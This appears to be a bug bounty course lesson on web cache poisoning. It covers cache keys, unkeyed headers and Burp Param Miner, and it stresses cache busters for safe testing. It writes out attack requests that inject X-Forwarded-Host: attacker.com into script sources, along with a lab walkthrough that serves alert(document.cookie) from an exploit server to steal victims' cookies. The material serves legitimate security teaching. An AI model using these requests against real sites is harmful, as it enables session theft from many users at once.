Web cache poisoning turns caching infrastructure against itself. By injecting a malicious payload via an unkeyed HTTP header, I can poison the cache so every user who requests that URL gets my payload served back — no interaction required from them. It’s one of the most impactful bugs in modern web security and it pays accordingly: $500 for basic reflected XSS to $25,000+ for poisoning CDN-served JavaScript. Today I’m covering the complete cache poisoning bug bounty methodology.
Day 28 covered Prototype Pollution — another client-side logic flaw. Today’s cache poisoning is the server-side equivalent of amplified impact: one poisoned request can affect thousands of users. My full 60-Day Bug Bounty Mastery Course covers this as Day 29 because you need the foundation from SSRF (Day 10) to understand how server-side request manipulation works.
How Web Caching Works
Web caches sit between users and origin servers. When user A requests a page, the cache stores the response. When user B makes the same request, the cache serves the stored response without hitting the origin — improving performance and reducing server load. The cache decides whether two requests are “the same” using a cache key, typically a combination of URL, hostname, and specific headers. Here’s the vulnerability: some inputs affect the response but are not included in the cache key. These are unkeyed inputs. If I can inject a malicious payload via an unkeyed input, the poisoned response gets cached and served to everyone.
Cache Keys and Unkeyed Inputs
A cache key is what the cache uses to decide if two requests should return the same cached response. Standard cache keys include the URL path, query string, and Host header. Unkeyed inputs are everything else the server might use to construct the response — headers like X-Forwarded-Host, X-Original-URL, query parameters that are reflected but not in the key, and cookies. When I find an unkeyed input that gets reflected in the response, that’s my attack surface.
# Response headers that indicate caching is active X-Cache: HIT # Varnish / custom cache X-Cache: MISS # First request, not yet cached CF-Cache-Status: HIT # Cloudflare CDN cache CF-Cache-Status: MISS Age: 3456 # Seconds this response has been cached Cache-Control: public, max-age=3600 Vary: Accept-Encoding # Headers included in cache key # Send request twice — if Age increases or X-Cache switches HIT → cached # Look for these in Burp Repeater response headers on GET requests
Cache Poisoning Attack Vectors
The specific attack depends on which unkeyed header is reflected and where in the response it appears. X-Forwarded-Host reflected in a script src tag gives me JavaScript injection. X-Forwarded-Scheme reflected in a Location header gives me open redirect to HTTPS. X-Original-URL replacing the request path gives me access control bypass. My methodology: find the reflected header, understand what it controls in the response, then build the payload accordingly.
# Vector 1: X-Forwarded-Host → XSS via reflected script src GET /home?cb=CACHEBUSTER HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com # If response contains: <script src="//attacker.com/analytics.js"> # Then host attacker.com/analytics.js with alert(document.cookie) # Vector 2: X-Forwarded-Scheme → redirect to HTTP (HTTPS downgrade) GET /login?cb=CACHEBUSTER HTTP/1.1 Host: target.com X-Forwarded-Scheme: http # Vector 3: X-Original-URL → path override GET / HTTP/1.1 Host: target.com X-Original-URL: /admin/secret # Vector 4: Unkeyed query parameter GET /page?utm_source=<script>alert(1)</script>&cb=BUSTER HTTP/1.1 # If utm_source reflected in response but not in cache key → poison # Vector 5: Vary header abuse — cookie poisoning # If Vary: Cookie is set but cookie value reflected unescaped → poison
X-Cache: MISS
Age: 0
Content: <link rel=”canonical” href=”https://TARGET.COM/home”>
You add X-Forwarded-Host: attacker.com and resend:
X-Cache: MISS
Age: 0
Content: <link rel=”canonical” href=”https://attacker.com/home”>
Q1: Is this cacheable? How do you confirm?
Q2: Is X-Forwarded-Host a keyed or unkeyed input?
Q3: What’s the attack potential here?
Q4: What payload makes this a valid high-severity report?
Burp Param Miner: Automated Unkeyed Header Discovery
Manually testing every possible header is time-consuming. Burp Param Miner automates this — it sends requests with large lists of common headers, parameters, and cookies, and identifies which ones influence the response without being in the cache key. My workflow: intercept a request to a cacheable endpoint, right-click, run Param Miner, review the output for headers that cause differences in responses.
Safe Testing: Cache Busters Are Non-Negotiable
Testing cache poisoning without cache busters means I poison the production cache for real users — that’s a violation of bug bounty rules and potentially illegal. A cache buster is a unique query parameter I add to my test URL to create a unique cache key for my tests. Every real user’s requests go through the normal cache key; my test requests have a unique key and only affect me. My rule: never send a cache poisoning test without a unique cache buster. Never skip this step.
# ALWAYS add a unique cache buster to your test requests GET /home?cb=X7K2M9P1 HTTP/1.1 ← unique to your test session Host: target.com X-Forwarded-Host: attacker.com # Verify your specific cache entry is poisoned (your buster only) GET /home?cb=X7K2M9P1 HTTP/1.1 Host: target.com # ← NO X-Forwarded-Host header this time # Response should still contain attacker.com if poisoned ✓ # Use Burp Collaborator for safe out-of-band confirmation X-Forwarded-Host: YOUR_COLLABORATOR_ID.oastify.com # To confirm impact without affecting real users: # Show in report that cache key = /home?cb=X7K2M9P1 is poisoned # Demonstrate same attack works on /home (no buster) to show scope # But clean up — request /home with no buster to invalidate before reporting
1. Open Burp Suite, enable proxy, launch the lab
2. Browse to the home page — intercept the GET / request
3. Send to Repeater — look for X-Cache header in response
4. Add X-Forwarded-Host: YOUR_EXPLOIT_SERVER to the request
5. Check if the response contains your injected host
6. Host a JS file on the exploit server: alert(document.cookie)
7. Poison the cache so the home page loads your JS
8. When victim visits the home page, their cookie is exfiltrated
Real Bug Bounty Examples and Payouts
Cache poisoning reports on HackerOne span a wide range of severity depending on what gets poisoned and what impact it achieves. My framework for assessing impact: what URL is poisoned, what’s the traffic volume, what does the payload achieve (reflected XSS vs stored XSS vs account takeover vs malware distribution), and does it affect authenticated or unauthenticated users. The highest payouts come from poisoning JavaScript files served by CDN — attacker code gets executed by every user who loads the page.
Phase 1 — Identify cacheable endpoints:
1. Browse the app — look for GET requests
2. Check response headers for X-Cache, Age, CF-Cache-Status
3. Send same request twice — confirm HIT on second request
Phase 2 — Param Miner discovery:
4. Right-click request → Extensions → Param Miner → Guess all
5. Enable cache busters — critical safety step
6. Wait for results in Extensions → Param Miner tab
Phase 3 — Exploit development:
7. For each unkeyed header found — where is it reflected?
8. Build payload: if script src → host evil.js on exploit server
9. Poison with cache buster first → confirm poisoned response
10. Document full attack chain for the report
Frequently Asked Questions
What is web cache poisoning?
What headers are commonly used in cache poisoning attacks?
Why do I need a cache buster for testing?
What does Burp Param Miner do?
What’s the highest severity cache poisoning impact?
How do I confirm cache poisoning is working?
📚 Further Reading
- 60-Day Bug Bounty Mastery Course Hub — The complete course sequence from reconnaissance to advanced server-side vulnerabilities.
- Day 10: SSRF Bug Bounty — Server-side request manipulation fundamentals that feed directly into understanding cache poisoning attack chains.
- Web Application Security Hub — The full taxonomy of web vulnerabilities with hands-on labs and methodology guides.
- PortSwigger — Web Cache Poisoning Research — James Kettle’s original research defining web cache poisoning as an attack category, with all PortSwigger academy labs.
- HackerOne Hacktivity — Cache Poisoning Disclosures — Disclosed bug bounty reports for real cache poisoning vulnerabilities showing impact and payout context.

